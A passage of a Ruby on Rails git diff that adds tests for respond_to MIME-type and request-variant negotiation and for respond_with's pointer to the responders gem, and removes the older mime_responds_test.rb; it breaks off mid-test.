+ def test_with_rss_content_type
+ @request.accept = ""
+ @request.env["CONTENT_TYPE"] = "application/rss+xml"
+ xhr :get, :made_for_content_type
+ assert_equal "RSS", @response.body
+ end
+
+ def test_synonyms
+ @request.accept = "application/javascript"
+ get :js_or_html
+ assert_equal 'JS', @response.body
+
+ @request.accept = "application/x-xml"
+ get :html_xml_or_rss
+ assert_equal "XML", @response.body
+ end
+
+ def test_custom_types
+ @request.accept = "application/crazy-xml"
+ get :custom_type_handling
+ assert_equal "application/crazy-xml", @response.content_type
+ assert_equal 'Crazy XML', @response.body
+
+ @request.accept = "text/html"
+ get :custom_type_handling
+ assert_equal "text/html", @response.content_type
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_xhtml_alias
+ @request.accept = "application/xhtml+xml,application/xml"
+ get :html_or_xml
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_firefox_simulation
+ @request.accept = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
+ get :html_or_xml
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_handle_any
+ @request.accept = "*/*"
+ get :handle_any
+ assert_equal 'HTML', @response.body
+
+ @request.accept = "text/javascript"
+ get :handle_any
+ assert_equal 'Either JS or XML', @response.body
+
+ @request.accept = "text/xml"
+ get :handle_any
+ assert_equal 'Either JS or XML', @response.body
+ end
+
+ def test_handle_any_any
+ @request.accept = "*/*"
+ get :handle_any_any
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_handle_any_any_parameter_format
+ get :handle_any_any, {:format=>'html'}
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_handle_any_any_explicit_html
+ @request.accept = "text/html"
+ get :handle_any_any
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_handle_any_any_javascript
+ @request.accept = "text/javascript"
+ get :handle_any_any
+ assert_equal 'Whatever you ask for, I got it', @response.body
+ end
+
+ def test_handle_any_any_xml
+ @request.accept = "text/xml"
+ get :handle_any_any
+ assert_equal 'Whatever you ask for, I got it', @response.body
+ end
+
+ def test_handle_any_any_unkown_format
+ get :handle_any_any, { format: 'php' }
+ assert_equal 'Whatever you ask for, I got it', @response.body
+ end
+
+ def test_browser_check_with_any_any
+ @request.accept = "application/json, application/xml"
+ get :json_xml_or_html
+ assert_equal 'JSON', @response.body
+
+ @request.accept = "application/json, application/xml, */*"
+ get :json_xml_or_html
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_html_type_with_layout
+ @request.accept = "text/html"
+ get :all_types_with_layout
+ assert_equal '<html><div id="html">HTML for all_types_with_layout</div></html>', @response.body
+ end
+
+ def test_json_with_callback_sets_javascript_content_type
+ @request.accept = 'application/json'
+ get :json_with_callback
+ assert_equal '/**/alert(JS)', @response.body
+ assert_equal 'text/javascript', @response.content_type
+ end
+
+ def test_xhr
+ xhr :get, :js_or_html
+ assert_equal 'JS', @response.body
+ end
+
+ def test_custom_constant
+ get :custom_constant_handling, :format => "mobile"
+ assert_equal "text/x-mobile", @response.content_type
+ assert_equal "Mobile", @response.body
+ end
+
+ def test_custom_constant_handling_without_block
+ get :custom_constant_handling_without_block, :format => "mobile"
+ assert_equal "text/x-mobile", @response.content_type
+ assert_equal "Mobile", @response.body
+ end
+
+ def test_forced_format
+ get :html_xml_or_rss
+ assert_equal "HTML", @response.body
+
+ get :html_xml_or_rss, :format => "html"
+ assert_equal "HTML", @response.body
+
+ get :html_xml_or_rss, :format => "xml"
+ assert_equal "XML", @response.body
+
+ get :html_xml_or_rss, :format => "rss"
+ assert_equal "RSS", @response.body
+ end
+
+ def test_internally_forced_format
+ get :forced_xml
+ assert_equal "XML", @response.body
+
+ get :forced_xml, :format => "html"
+ assert_equal "XML", @response.body
+ end
+
+ def test_extension_synonyms
+ get :html_xml_or_rss, :format => "xhtml"
+ assert_equal "HTML", @response.body
+ end
+
+ def test_render_action_for_html
+ @controller.instance_eval do
+ def render(*args)
+ @action = args.first[:action] unless args.empty?
+ @action ||= action_name
+
+ response.body = "#{@action} - #{formats}"
+ end
+ end
+
+ get :using_defaults
+ assert_equal "using_defaults - #{[:html]}", @response.body
+
+ get :using_defaults, :format => "xml"
+ assert_equal "using_defaults - #{[:xml]}", @response.body
+ end
+
+ def test_format_with_custom_response_type
+ get :iphone_with_html_response_type
+ assert_equal '<html><div id="html">Hello future from Firefox!</div></html>', @response.body
+
+ get :iphone_with_html_response_type, :format => "iphone"
+ assert_equal "text/html", @response.content_type
+ assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
+ end
+
+ def test_format_with_custom_response_type_and_request_headers
+ @request.accept = "text/iphone"
+ get :iphone_with_html_response_type
+ assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_invalid_format
+ assert_raises(ActionController::UnknownFormat) do
+ get :using_defaults, :format => "invalidformat"
+ end
+ end
+
+ def test_invalid_variant
+ @request.variant = :invalid
+ assert_raises(ActionView::MissingTemplate) do
+ get :variant_with_implicit_rendering
+ end
+ end
+
+ def test_variant_not_set_regular_template_missing
+ assert_raises(ActionView::MissingTemplate) do
+ get :variant_with_implicit_rendering
+ end
+ end
+
+ def test_variant_with_implicit_rendering
+ @request.variant = :mobile
+ get :variant_with_implicit_rendering
+ assert_equal "text/html", @response.content_type
+ assert_equal "mobile", @response.body
+ end
+
+ def test_variant_with_format_and_custom_render
+ @request.variant = :phone
+ get :variant_with_format_and_custom_render
+ assert_equal "text/html", @response.content_type
+ assert_equal "mobile", @response.body
+ end
+
+ def test_multiple_variants_for_format
+ @request.variant = :tablet
+ get :multiple_variants_for_format
+ assert_equal "text/html", @response.content_type
+ assert_equal "tablet", @response.body
+ end
+
+ def test_no_variant_in_variant_setup
+ get :variant_plus_none_for_format
+ assert_equal "text/html", @response.content_type
+ assert_equal "none", @response.body
+ end
+
+ def test_variant_inline_syntax
+ get :variant_inline_syntax, format: :js
+ assert_equal "text/javascript", @response.content_type
+ assert_equal "js", @response.body
+
+ get :variant_inline_syntax
+ assert_equal "text/html", @response.content_type
+ assert_equal "none", @response.body
+
+ @request.variant = :phone
+ get :variant_inline_syntax
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+ end
+
+ def test_variant_inline_syntax_without_block
+ @request.variant = :phone
+ get :variant_inline_syntax_without_block
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+ end
+
+ def test_variant_any
+ @request.variant = :phone
+ get :variant_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+
+ @request.variant = :tablet
+ get :variant_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "any", @response.body
+
+ @request.variant = :phablet
+ get :variant_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "any", @response.body
+ end
+
+ def test_variant_any_any
+ get :variant_any_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "any", @response.body
+
+ @request.variant = :phone
+ get :variant_any_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+
+ @request.variant = :yolo
+ get :variant_any_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "any", @response.body
+ end
+
+ def test_variant_inline_any
+ @request.variant = :phone
+ get :variant_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+
+ @request.variant = :tablet
+ get :variant_inline_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "any", @response.body
+
+ @request.variant = :phablet
+ get :variant_inline_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "any", @response.body
+ end
+
+ def test_variant_inline_any_any
+ @request.variant = :phone
+ get :variant_inline_any_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+
+ @request.variant = :yolo
+ get :variant_inline_any_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "any", @response.body
+ end
+
+ def test_variant_any_implicit_render
+ @request.variant = :tablet
+ get :variant_any_implicit_render
+ assert_equal "text/html", @response.content_type
+ assert_equal "tablet", @response.body
+
+ @request.variant = :phablet
+ get :variant_any_implicit_render
+ assert_equal "text/html", @response.content_type
+ assert_equal "phablet", @response.body
+ end
+
+ def test_variant_any_with_none
+ get :variant_any_with_none
+ assert_equal "text/html", @response.content_type
+ assert_equal "none or phone", @response.body
+
+ @request.variant = :phone
+ get :variant_any_with_none
+ assert_equal "text/html", @response.content_type
+ assert_equal "none or phone", @response.body
+ end
+
+ def test_format_any_variant_any
+ @request.variant = :tablet
+ get :format_any_variant_any, format: :js
+ assert_equal "text/javascript", @response.content_type
+ assert_equal "tablet", @response.body
+ end
+
+ def test_variant_negotiation_inline_syntax
+ @request.variant = [:tablet, :phone]
+ get :variant_inline_syntax_without_block
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+ end
+
+ def test_variant_negotiation_block_syntax
+ @request.variant = [:tablet, :phone]
+ get :variant_plus_none_for_format
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+ end
+
+ def test_variant_negotiation_without_block
+ @request.variant = [:tablet, :phone]
+ get :variant_inline_syntax_without_block
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+ end
+end
diff --git a/actionpack/test/controller/mime/responders_test.rb b/actionpack/test/controller/mime/responders_test.rb
new file mode 100644
index 0000000000..032b4c0ab1
--- /dev/null
+++ b/actionpack/test/controller/mime/responders_test.rb
@@ -0,0 +1,32 @@
+require 'abstract_unit'
+require 'controller/fake_models'
+
+class ResponderTest < ActionController::TestCase
+ def test_class_level_respond_to
+ e = assert_raises(NoMethodError) do
+ Class.new(ActionController::Base) do
+ respond_to :json
+ end
+ end
+
+ assert_includes e.message, '`responders` gem'
+ assert_includes e.message, '~> 2.0'
+ end
+
+ def test_respond_with
+ klass = Class.new(ActionController::Base) do
+ def index
+ respond_with Customer.new("david", 13)
+ end
+ end
+
+ @controller = klass.new
+
+ e = assert_raises(NoMethodError) do
+ get :index
+ end
+
+ assert_includes e.message, '`responders` gem'
+ assert_includes e.message, '~> 2.0'
+ end
+end
diff --git a/actionpack/test/controller/mime_responds_test.rb b/actionpack/test/controller/mime_responds_test.rb
deleted file mode 100644
index ed013e2185..0000000000
--- a/actionpack/test/controller/mime_responds_test.rb
+++ /dev/null
@@ -1,1233 +0,0 @@
-require 'abstract_unit'
-require 'controller/fake_models'
-require 'active_support/core_ext/hash/conversions'
-
-class StarStarMimeController < ActionController::Base
- layout nil
-
- def index
- render
- end
-end
-
-class RespondToController < ActionController::Base
- layout :set_layout
-
- def html_xml_or_rss
- respond_to do |type|
- type.html { render :text => "HTML" }
- type.xml { render :text => "XML" }
- type.rss { render :text => "RSS" }
- type.all { render :text => "Nothing" }
- end
- end
-
- def js_or_html
- respond_to do |type|
- type.html { render :text => "HTML" }
- type.js { render :text => "JS" }
- type.all { render :text => "Nothing" }
- end
- end
-
- def json_or_yaml
- respond_to do |type|
- type.json { render :text => "JSON" }
- type.yaml { render :text => "YAML" }
- end
- end
-
- def html_or_xml
- respond_to do |type|
- type.html { render :text => "HTML" }
- type.xml { render :text => "XML" }
- type.all { render :text => "Nothing" }
- end
- end
-
- def json_xml_or_html
- respond_to do |type|
- type.json { render :text => 'JSON' }
- type.xml { render :xml => 'XML' }
- type.html { render :text => 'HTML' }
- end
- end
-
-
- def forced_xml
- request.format = :xml
-
- respond_to do |type|
- type.html { render :text => "HTML" }
- type.xml { render :text => "XML" }
- end
- end
-
- def just_xml
- respond_to do |type|
- type.xml { render :text => "XML" }
- end
- end
-
- def using_defaults
- respond_to do |type|
- type.html
- type.xml
- end
- end
-
- def using_defaults_with_type_list
- respond_to(:html, :xml)
- end
-
- def made_for_content_type
- respond_to do |type|
- type.rss { render :text => "RSS" }
- type.atom { render :text => "ATOM" }
- type.all { render :text => "Nothing" }
- end
- end
-
- def custom_type_handling
- respond_to do |type|
- type.html { render :text => "HTML" }
- type.custom("application/crazy-xml") { render :text => "Crazy XML" }
- type.all { render :text => "Nothing" }
- end
- end
-
-
- def custom_constant_handling
- respond_to do |type|
- type.html { render :text => "HTML" }
- type.mobile { render :text => "Mobile" }
- end
- end
-
- def custom_constant_handling_without_block
- respond_to do |type|
- type.html { render :text => "HTML" }
- type.mobile
- end
- end
-
- def handle_any
- respond_to do |type|
- type.html { render :text => "HTML" }
- type.any(:js, :xml) { render :text => "Either JS or XML" }
- end
- end
-
- def handle_any_any
- respond_to do |type|
- type.html { render :text => 'HTML' }
- type.any { render :text => 'Whatever you ask for, I got it' }
- end
- end
-
- def all_types_with_layout
- respond_to do |type|
- type.html
- end
- end
-
- def iphone_with_html_response_type
- request.format = :iphone if request.env["HTTP_ACCEPT"] == "text/iphone"
-
- respond_to do |type|
- type.html { @type = "Firefox" }
- type.iphone { @type = "iPhone" }
- end
- end
-
- def iphone_with_html_response_type_without_layout
- request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
-
- respond_to do |type|
- type.html { @type = "Firefox"; render :action => "iphone_with_html_response_type" }
- type.iphone { @type = "iPhone" ; render :action => "iphone_with_html_response_type" }
- end
- end
-
- protected
- def set_layout
- case action_name
- when "all_types_with_layout", "iphone_with_html_response_type"
- "respond_to/layouts/standard"
- when "iphone_with_html_response_type_without_layout"
- "respond_to/layouts/missing"
- end
- end
-end
-
-class StarStarMimeControllerTest < ActionController::TestCase
- tests StarStarMimeController
-
- def test_javascript_with_format
- @request.accept = "text/javascript"
- get :index, :format => 'js'
- assert_match "function addition(a,b){ return a+b; }", @response.body
- end
-
- def test_javascript_with_no_format
- @request.accept = "text/javascript"
- get :index
- assert_match "function addition(a,b){ return a+b; }", @response.body
- end
-
- def test_javascript_with_no_format_only_star_star
- @request.accept = "*/*"
- get :index
- assert_match "function addition(a,b){ return a+b; }", @response.body
- end
-
-end
-
-class RespondToControllerTest < ActionController::TestCase
- tests RespondToController
-
- def setup
- super
- @request.host = "www.example.com"
- Mime::Type.register_alias("text/html", :iphone)
- Mime::Type.register("text/x-mobile", :mobile)
- end
-
- def teardown
- super
- Mime::Type.unregister(:iphone)
- Mime::Type.unregister(:mobile)
- end
-
- def test_html
- @request.accept = "text/html"
- get :js_or_html
- assert_equal 'HTML', @response.body
-
- get :html_or_xml
- assert_equal 'HTML', @response.body
-
- assert_raises(ActionController::UnknownFormat) do
- get :just_xml
- end
- end
-
- def test_all
- @request.accept = "*/*"
- get :js_or_html
- assert_equal 'HTML', @response.body # js is not part of all
-
- get :html_or_xml
- assert_equal 'HTML', @response.body
-
- get :just_xml
- assert_equal 'XML', @response.body
- end
-
- def test_xml
- @request.accept = "application/xml"
- get :html_xml_or_rss
- assert_equal 'XML', @response.body
- end
-
- def test_js_or_html
- @request.accept = "text/javascript, text/html"
- xhr :get, :js_or_html
- assert_equal 'JS', @response.body
-
- @request.accept = "text/javascript, text/html"
- xhr :get, :html_or_xml
- assert_equal 'HTML', @response.body
-
- @request.accept = "text/javascript, text/html"
-
- assert_raises(ActionController::UnknownFormat) do
- xhr :get, :just_xml
- end
- end
-
- def test_json_or_yaml_with_leading_star_star
- @request.accept = "*/*, application/json"
- get :json_xml_or_html
- assert_equal 'HTML', @response.body
-
- @request.accept = "*/* , application/json"
- get :json_xml_or_html
- assert_equal 'HTML', @response.body
- end
-
- def test_json_or_yaml
- xhr :get, :json_or_yaml
- assert_equal 'JSON', @response.body
-
- get :json_or_yaml, :format => 'json'
- assert_equal 'JSON', @response.body
-
- get :json_or_yaml, :format => 'yaml'
- assert_equal 'YAML', @response.body
-
- { 'YAML' => %w(text/yaml),
- 'JSON' => %w(application/json text/x-json)
- }.each do |body, content_types|
- content_types.each do |content_type|
- @request.accept = content_type
- get :json_or_yaml
- assert_equal body, @response.body
- end
- end
- end
-
- def test_js_or_anything
- @request.accept = "text/javascript, */*"
- xhr :get, :js_or_html
- assert_equal 'JS', @response.body
-
- xhr :get, :html_or_xml
- assert_equal 'HTML', @response.body
-
- xhr :get, :just_xml
- assert_equal 'XML', @response.body
- end
-
- def test_using_defaults
- @request.accept = "*/*"
- get :using_defaults
- assert_equal "text/html", @response.content_type
- assert_equal 'Hello world!', @response.body
-
- @request.accept = "application/xml"
- get :using_defaults
- assert_equal "application/xml", @response.content_type
- assert_equal "<p>Hello world!</p>\n", @response.body
- end
-
- def test_using_defaults_with_type_list
- @request.accept = "*/*"
- get :using_defaults_with_type_list
- assert_equal "text/html", @response.content_type
- assert_equal 'Hello world!', @response.body
-
- @request.accept = "application/xml"
- get :using_defaults_with_type_list
- assert_equal "application/xml", @response.content_type
- assert_equal "<p>Hello world!</p>\n", @response.body
- end
-
- def test_with_atom_content_type
- @request.accept = ""
- @request.env["CONTENT_TYPE"] = "application/atom+xml"
- xhr :get, :made_for_content_type
- assert_equal "ATOM", @response.body
- end
-
- def test_with_rss_content_type
- @request.accept = ""
- @request.env["CONTENT_TYPE"] = "application/rss+xml"
- xhr :get, :made_for_content_type
- assert_equal "RSS", @response.body
- end
-
- def test_synonyms
- @request.accept = "application/javascript"
- get :js_or_html
- assert_equal 'JS', @response.body
-
- @request.accept = "application/x-xml"
- get :html_xml_or_rss
- assert_equal "XML", @response.body
- end
-
- def test_custom_types
- @request.accept = "application/crazy-xml"
- get :custom_type_handling
- assert_equal "application/crazy-xml", @response.content_type
- assert_equal 'Crazy XML', @response.body
-
- @request.accept = "text/html"
- get :custom_type_handling
- assert_equal "text/html", @response.content_type
- assert_equal 'HTML', @response.body
- end
-
- def test_xhtml_alias
- @request.accept = "application/xhtml+xml,application/xml"
- get :html_or_xml
- assert_equal 'HTML', @response.body
- end
-
- def test_firefox_simulation
- @request.accept = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
- get :html_or_xml
- assert_equal 'HTML', @response.body
- end
-
- def test_handle_any
- @request.accept = "*/*"
- get :handle_any
- assert_equal 'HTML', @response.body
-
- @request.accept = "text/javascript"
- get :handle_any
- assert_equal 'Either JS or XML', @response.body
-
- @request.accept = "text/xml"
- get :handle_any
- assert_equal 'Either JS or XML', @response.body
- end
-
- def test_handle_any_any
- @request.accept = "*/*"
- get :handle_any_any
- assert_equal 'HTML', @response.body
- end
-
- def test_handle_any_any_parameter_format
- get :handle_any_any, {:format=>'html'}
- assert_equal 'HTML', @response.body
- end
-
- def test_handle_any_any_explicit_html
- @request.accept = "text/html"
- get :handle_any_any
- assert_equal 'HTML', @response.body
- end
-
- def test_handle_any_any_javascript
- @request.accept = "text/javascript"
- get :handle_any_any
- assert_equal 'Whatever you ask for, I got it', @response.body
- end
-
- def test_handle_any_any_xml
- @request.accept = "text/xml"
- get :handle_any_any
- assert_equal 'Whatever you ask for, I got it', @response.body
- end
-
- def test_browser_check_with_any_any
- @request.accept = "application/json, application/xml"
- get :json_xml_or_html
- assert_equal 'JSON', @response.body
-
- @request.accept = "application/json, application/xml, */*"
- get :json_xml_or_html
- assert_equal 'HTML', @response.body
- end
-
- def test_html_type_with_layout
- @request.accept = "text/html"
- get :all_types_with_layout
- assert_equal '<html><div id="html">HTML for all_types_with_layout</div></html>', @response.body
- end
-
- def test_xhr
- xhr :get, :js_or_html
- assert_equal 'JS', @response.body
- end
-
- def test_custom_constant
- get :custom_constant_handling, :format => "mobile"
- assert_equal "text/x-mobile", @response.content_type
- assert_equal "Mobile", @response.body
- end
-
- def test_custom_constant_handling_without_block
- get :custom_constant_handling_without_block, :format => "mobile"
- assert_equal "text/x-mobile", @response.content_type
- assert_equal "Mobile", @response.body
- end
-
- def test_forced_format
- get :html_xml_or_rss
- assert_equal "HTML", @response.body
-
- get :html_xml_or_rss, :format => "html"
- assert_equal "HTML", @response.body
-
- get :html_xml_or_rss, :format => "xml"
- assert_equal "XML", @response.body
-
- get :html_xml_or_rss, :format => "rss"
- assert_equal "RSS", @response.body
- end
-
- def test_internally_forced_format
- get :forced_xml
- assert_equal "XML", @response.body
-
- get :forced_xml, :format => "html"
- assert_equal "XML", @response.body
- end
-
- def test_extension_synonyms
- get :html_xml_or_rss, :format => "xhtml"
- assert_equal "HTML", @response.body
- end
-
- def test_render_action_for_html
- @controller.instance_eval do
- def render(*args)
- @action = args.first[:action] unless args.empty?
- @action ||= action_name
-
- response.body = "#{@action} - #{formats}"
- end
- end
-
- get :using_defaults
- assert_equal "using_defaults - #{[:html].to_s}", @response.body
-
- get :using_defaults, :format => "xml"
- assert_equal "using_defaults - #{[:xml].to_s}", @response.body
- end
-
- def test_format_with_custom_response_type
- get :iphone_with_html_response_type
- assert_equal '<html><div id="html">Hello future from Firefox!</div></html>', @response.body
-
- get :iphone_with_html_response_type, :format => "iphone"
- assert_equal "text/html", @response.content_type
- assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
- end
-
- def test_format_with_custom_response_type_and_request_headers
- @request.accept = "text/iphone"
- get :iphone_with_html_response_type
- assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
- assert_equal "text/html", @response.content_type
- end
-
- def test_invalid_format
- assert_raises(ActionController::UnknownFormat) do
- get :using_defaults, :format => "invalidformat"
- end
- end
-end
-
-class RespondWithController < ActionController::Base
- respond_to :html, :json, :touch
- respond_to :xml, :except => :using_resource_with_block
- respond_to :js, :only => [ :using_resource_with_block, :using_resource, 'using_hash_resource' ]
-
- def using_resource
- respond_with(resource)
- end
-
- def using_hash_resource
- respond_with({:result => resource})
- end
-
- def using_resource_with_block
- respond_with(resource) do |format|
- format.csv { render :text => "CSV" }
- end
- end
-
- def using_resource_with_overwrite_block
- respond_with(resource) do |format|
- format.html { render :text => "HTML" }
- end
- end
-
- def using_resource_with_collection
- respond_with([resource, Customer.new("jamis", 9)])
- end
-
- def using_resource_with_parent
- respond_with(Quiz::Store.new("developer?", 11), Customer.new("david", 13))
- end
-
- def using_resource_with_status_and_location
- respond_with(resource, :location => "http://test.host/", :status => :created)
- end
-
- def using_invalid_resource_with_template
- respond_with(resource)
- end
-
- def using_options_with_template
- @customer = resource
- respond_with(@customer, :status => 123, :location => "http://test.host/")
- end
-
- def using_resource_with_responder
- responder = proc { |c, r, o| c.render :text => "Resource name is #{r.first.name}" }
- respond_with(resource, :responder => responder)
- end
-
- def using_resource_with_action
- respond_with(resource, :action => :foo) do |format|
- format.html { raise ActionView::MissingTemplate.new([], "bar", ["foo"], {}, false) }
- end
- end
-
- def using_responder_with_respond
- responder = Class.new(ActionController::Responder) do
- def respond; @controller.render :text => "respond #{format}"; end
- end
- respond_with(resource, :responder => responder)
- end
-
-protected
-
- def resource
- Customer.new("david", request.delete? ? nil : 13)
- end
-end
-
-class InheritedRespondWithController < RespondWithController
- clear_respond_to
- respond_to :xml, :json
-
- def index
- respond_with(resource) do |format|
- format.json { render :text => "JSON" }
- end
- end
-end
-
-class RenderJsonRespondWithController < RespondWithController
- clear_respond_to
- respond_to :json
-
- def index
- respond_with(resource) do |format|
- format.json { render :json => RenderJsonTestException.new('boom') }
- end
- end
-
- def create
- resource = ValidatedCustomer.new(params[:name], 1)
- respond_with(resource) do |format|
- format.json do
- if resource.errors.empty?
- render :json => { :valid => true }
- else
- render :json => { :valid => false }
- end
- end
- end
- end
-end
-
-class EmptyRespondWithController < ActionController::Base
- def index
- respond_with(Customer.new("david", 13))
- end
-end
-
-class RespondWithControllerTest < ActionController::TestCase
- tests RespondWithController
-
- def setup
- super
- @request.host = "www.example.com"
- Mime::Type.register_alias('text/html', :iphone)
- Mime::Type.register_alias('text/html', :touch)
- Mime::Type.register('text/x-mobile', :mobile)
- end
-
- def teardown
- super
- Mime::Type.unregister(:iphone)
- Mime::Type.unregister(:touch)
- Mime::Type.unregister(:mobile)
- end
-
- def test_using_resource
- @request.accept = "application/xml"
- get :using_resource
- assert_equal "application/xml", @response.content_type
- assert_equal "<name>david</name>", @response.body
-
- @request.accept = "application/json"
- assert_raise ActionView::MissingTemplate do
- get :using_resource
- end
- end
-
- def test_using_resource_with_js_simply_tries_to_render_the_template
- @request.accept = "text/javascript"
- get :using_resource
- assert_equal "text/javascript", @response.content_type
- assert_equal "alert(\"Hi\");", @response.body
- end
-
- def test_using_hash_resource_with_js_raises_an_error_if_template_cant_be_found
- @request.accept = "text/javascript"
- assert_raise ActionView::MissingTemplate do
- get :using_hash_resource
- end
- end
-
- def test_using_hash_resource
- @request.accept = "application/xml"
- get :using_hash_resource
- assert_equal "application/xml", @response.content_type
- assert_equal "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<hash>\n <name>david</name>\n</hash>\n", @response.body
-
- @request.accept = "application/json"
- get :using_hash_resource
- assert_equal "application/json", @response.content_type
- assert @response.body.include?("result")
- assert @response.body.include?('"name":"david"')
- assert @response.body.include?('"id":13')
- end
-
- def test_using_hash_resource_with_post
- @request.accept = "application/json"
- assert_raise ArgumentError, "Nil location provided. Can't build URI." do
- post :using_hash_resource
- end
- end
-
- def test_using_resource_with_block
- @request.accept = "*/*"
- get :using_resource_with_block
- assert_equal "text/html", @response.content_type
- assert_equal 'Hello world!', @response.body
-
- @request.accept = "text/csv"
- get :using_resource_with_block
- assert_equal "text/csv", @response.content_type
- assert_equal "CSV", @response.body
-
- @request.accept = "application/xml"
- get :using_resource
- assert_equal "application/xml", @response.content_type
- assert_equal "<name>david</name>", @response.body
- end
-
- def test_using_resource_with_overwrite_block
- get :using_resource_with_overwrite_block
- assert_equal "text/html", @response.content_type
- assert_equal "HTML", @response.body
- end
-
- def test_not_acceptable
- @request.accept = "application/xml"
- assert_raises(ActionController::UnknownFormat) do
- get :using_resource_with_block
- end
-
- @request.accept = "text/javascript"
- assert_raises(ActionController::UnknownFormat) do
- get :using_resource_with_overwrite_block
- end
- end
-
- def test_using_resource_for_post_with_html_redirects_on_success
- with_test_route_set do
- post :using_resource
- assert_equal "text/html", @response.content_type
- assert_equal 302, @response.status
- assert_equal "http://www.example.com/customers/13", @response.location
- assert @response.redirect?
- end
- end
-
- def test_using_resource_for_post_with_html_rerender_on_failure
- with_test_route_set do
- errors = { :name => :invalid }
- Customer.any_instance.stubs(:errors).returns(errors)
- post :using_resource
- assert_equal "text/html", @response.content_type
- assert_equal 200, @response.status
- assert_equal "New world!\n", @response.body
- assert_nil @response.location
- end
- end
-
- def test_using_resource_for_post_with_xml_yields_created_on_success
- with_test_route_set do
- @request.accept = "application/xml"
- post :using_resource
- assert_equal "application/xml", @response.content_type
- assert_equal 201, @response.status
- assert_equal "<name>david</name>", @response.body
- assert_equal "http://www.example.com/customers/13", @response.location
- end
- end
-
- def test_using_resource_for_post_with_xml_yields_unprocessable_entity_on_failure
- with_test_route_set do
- @request.accept = "application/xml"
- errors = { :name => :invalid }
- Customer.any_instance.stubs(:errors).returns(errors)
- post :using_resource
- assert_equal "application/xml", @response.content_type
- assert_equal 422, @response.status
- assert_equal errors.to_xml, @response.body
- assert_nil @response.location
- end
- end
-
- def test_using_resource_for_post_with_json_yields_unprocessable_entity_on_failure
- with_test_route_set do
- @request.accept = "application/json"
- errors = { :name => :invalid }
- Customer.any_instance.stubs(:errors).returns(errors)
- post :using_resource
- assert_equal "application/json", @response.content_type
- assert_equal 422, @response.status
- errors = {:errors => errors}
- assert_equal errors.to_json, @response.body
- assert_nil @response.location
- end
- end
-
- def test_using_resource_for_patch_with_html_redirects_on_success
- with_test_route_set do
- patch :using_resource
- assert_equal "text/html", @response.content_type
- assert_equal 302, @response.status
- assert_equal "http://www.example.com/customers/13", @response.location
- assert @response.redirect?
- end
- end
-
- def test_using_resource_for_patch_with_html_rerender_on_failure
- with_test_route_set do
- errors = { :name => :invalid }
- Customer.any_instance.stubs(:errors).returns(errors)
- patch :using_resource
- assert_equal "text/html", @response.content_type
- assert_equal 200, @response.status
- assert_equal "Edit world!\n", @response.body
- assert_nil @response.location
- end
- end
-
- def test_using_resource_for_patch_with_html_rerender_on_failure_even_on_method_override
- with_test_route_set do
- errors = { :name => :invalid }
- Customer.any_instance.stubs(:errors).returns(errors)
- @request.env["rack.methodoverride.original_method"] = "POST"
- patch :using_resource
- assert_equal "text/html", @response.content_type
- assert_equal 200, @response.status
- assert_equal "Edit world!\n", @response.body
- assert_nil @response.location
- end
- end
-
- def test_using_resource_for_put_with_html_redirects_on_success
- with_test_route_set do
- put :using_resource
- assert_equal "text/html", @response.content_type
- assert_equal 302, @response.status
- assert_equal "http://www.example.com/customers/13", @response.location
- assert @response.redirect?
- end
- end
-
- def test_using_resource_for_put_with_html_rerender_on_failure
- with_test_route_set do
- errors = { :name => :invalid }
- Customer.any_instance.stubs(:errors).returns(errors)
- put :using_resource
- assert_equal "text/html", @response.content_type
- assert_equal 200, @response.status
- assert_equal "Edit world!\n", @response.body
- assert_nil @response.location
- end
- end
-
- def test_using_resource_for_put_with_html_rerender_on_failure_even_on_method_override
- with_test_route_set do
- errors = { :name => :invalid }
- Customer.any_instance.stubs(:errors).returns(errors)
- @request.env["rack.methodoverride.original_method"] = "POST"
- put :using_resource
- assert_equal "text/html", @response.content_type
- assert_equal 200, @response.status
- assert_equal "Edit world!\n", @response.body
- assert_nil @response.location
- end
- end
-
- def test_using_resource_for_put_with_xml_yields_no_content_on_success
- @request.accept = "application/xml"
- put :using_resource
- assert_equal "application/xml", @response.content_type
- assert_equal 204, @response.status
- assert_equal "", @response.body
- end
-
- def test_using_resource_for_put_with_json_yields_no_content_on_success
- Customer.any_instance.stubs(:to_json).returns('{"name": "David"}')
- @request.accept = "application/json"
- put :using_resource
- assert_equal "application/json", @response.content_type
- assert_equal 204, @response.status
- assert_equal "", @response.body
- end
-
- def test_using_resource_for_put_with_xml_yields_unprocessable_entity_on_failure
- @request.accept = "application/xml"
- errors = { :name => :invalid }
- Customer.any_instance.stubs(:errors).returns(errors)
- put :using_resource
- assert_equal "application/xml", @response.content_type
